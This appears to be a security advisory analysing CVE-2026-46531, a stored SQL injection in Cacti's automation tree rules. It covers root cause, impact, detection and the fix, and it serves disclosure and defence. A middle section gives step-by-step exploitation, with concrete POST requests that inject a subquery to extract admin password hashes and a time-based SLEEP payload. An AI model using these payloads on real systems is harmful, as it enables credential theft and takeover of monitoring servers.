CVE-2026-46531: 
Cacti vulnerability analysis and mitigation

CVE-2026-46531 is an authenticated stored second-order SQL injection vulnerability in Cacti, an open source performance and fault management framework. It affects Cacti versions 1.2.27 through 1.2.30 and was disclosed on June 18, 2026, with a patch released in version 1.2.31. The vulnerability resides in the automation tree rule item handler, allowing a user with the Automation realm privilege to persist a malicious SQL fragment that is later executed during automation rule application. It carries a CVSS v3.1 base score of 5.5 (Medium) (GitHub Advisory).

The root cause is improper neutralization of SQL commands (CWE-89) at two distinct code sites. First, the save handler in automation_tree_rules.php (lines 167–175) calls form_input_validate() with an empty regex argument, which disables validation entirely, allowing any value — including arbitrary SQL — to be stored in the automation_tree_rule_items.field column via sql_save(). Second, the sink in lib/api_automation.php::create_all_header_nodes() (line 2766) reads $tree_item['field'] directly from the database and concatenates it verbatim into a SELECT ... AS source FROM ... clause without any escaping, type-casting, or allowlist check. The injected SQL executes when an administrator triggers the "Apply Automation Rules" bulk action via graphs.php?action=actions&drp_action=8, and the result is written into graph_tree_items.title and rendered in the Cacti tree UI. This is an incomplete-fix variant of prior advisories CVE-2024-31460 (GHSA-gj3f-p326-gh8r) and CVE-2025-24368 (GHSA-f9c7-7rc3-574c), neither of which protected the create_all_header_nodes() call site (GitHub Advisory, Fix PR).

Successful exploitation allows an attacker with Automation realm privileges to exfiltrate arbitrary data from the Cacti database by injecting SELECT expressions that render their results in the Cacti tree UI. The confirmed primitive includes extraction of user_auth.password (bcrypt hashes of admin accounts), which can enable offline cracking or password-reuse attacks against other services, potentially leading to full administrative takeover of the Cacti instance. Availability is not directly impacted, and remote code execution was not demonstrated in the reference environment due to database privilege restrictions (no FILE privilege, secure_file_priv set), though the confidentiality impact is rated High (GitHub Advisory).

No public proof-of-concept exploit code has been released, though the advisory notes that a working Python/shell PoC, wire-level PCAP, and Suricata/Snort detection rules are available from the reporter through private disclosure channels. There is no evidence of in-the-wild exploitation at this time, and the EPSS score is 0.0. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires an authenticated account with the Automation realm (default General Administration role), limiting the attack surface (GitHub Advisory).

1. Authenticate: Log in to the Cacti web interface with an account that holds the Automation realm (General Administration role) and obtain a valid session cookie.
2. Inject malicious field value: Send a crafted POST request to automation_tree_rules.php to save an automation tree rule item with a SQL payload in the field parameter, e.g.:

   POST /automation_tree_rules.php
   save_component_automation_tree_rule_item=1
   id=<rule_id>
   item_id=0
   sequence=99
   field=(SELECT password FROM user_auth WHERE id=1)
   sort_type=1
   search_pattern=^(.*)$
   replace_pattern=${1}
   rule_type=2
   action=save

   The empty regex in form_input_validate() allows any value to pass, storing the raw SQL fragment in automation_tree_rule_items.field.
3. Trigger automation execution: As an administrator (or by waiting for an admin to act), trigger the "Apply Automation Rules" bulk action via:

   POST /graphs.php
   selected_items=a:1:{i:0;i:1;}
   drp_action=8
   save_list=1
   action=actions

4. Observe exfiltrated data: The injected SELECT executes within create_all_header_nodes(), and the result (e.g., the admin bcrypt hash) is written into graph_tree_items.title and rendered in the Cacti tree UI under the configured tree.
5. Timing-based confirmation (optional): Use a time-based payload such as IF(1=1,SLEEP(3),0) to confirm blind execution — a ~3-second response delay confirms the injection is active (GitHub Advisory).

• Network: Unusual POST requests to /automation_tree_rules.php with a field parameter containing SQL syntax (e.g., parentheses, SELECT, FROM, WHERE, SLEEP, UNION); POST requests to /graphs.php with drp_action=8 shortly after suspicious rule saves.
• Logs: Cacti access logs showing automation_tree_rules.php save actions from non-admin accounts followed by graphs.php?action=actions&drp_action=8 triggers; MySQL general log entries showing SELECT ... AS source FROM host ... queries with unexpected expressions (e.g., SELECT password FROM user_auth, IF(1=1,SLEEP(3),0)).
• Database: Unexpected or anomalous values in automation_tree_rule_items.field column containing SQL fragments rather than valid column names; graph_tree_items.title entries containing database values such as bcrypt hashes or other non-display strings.
• Application UI: Cacti tree nodes displaying unexpected content such as password hashes, database version strings, or other raw database values in tree item titles (GitHub Advisory).

Upgrade Cacti to version 1.2.31, which applies the fix by adding api_automation_column_exists() allowlist validation to the field parameter at both the save path (automation_tree_rules.php) and the SQL build path (lib/api_automation.php::create_all_header_nodes()). The fix also closes bypass paths in automation_tree_rule_import() and duplicate_automation_tree_rules() that could circumvent the web UI save-side guard. As a temporary workaround, restrict or remove the Automation realm from non-administrator accounts to limit the attack surface until patching is possible (GitHub Advisory, Fix PR).

The vulnerability was discovered and reported by the VANGUARD Project (credited to bokdong2fos), coordinated by netniV and reviewed by TheWitness from the Cacti project. The advisory explicitly notes this is an incomplete-fix variant of two prior CVEs (CVE-2024-31460 and CVE-2025-24368), highlighting a recurring pattern of partial remediation in Cacti's automation SQL handling. Community discussion has been limited, with the fix PR closed as redundant against the 1.2.x branch after the private advisory track addressed the issue (GitHub Advisory).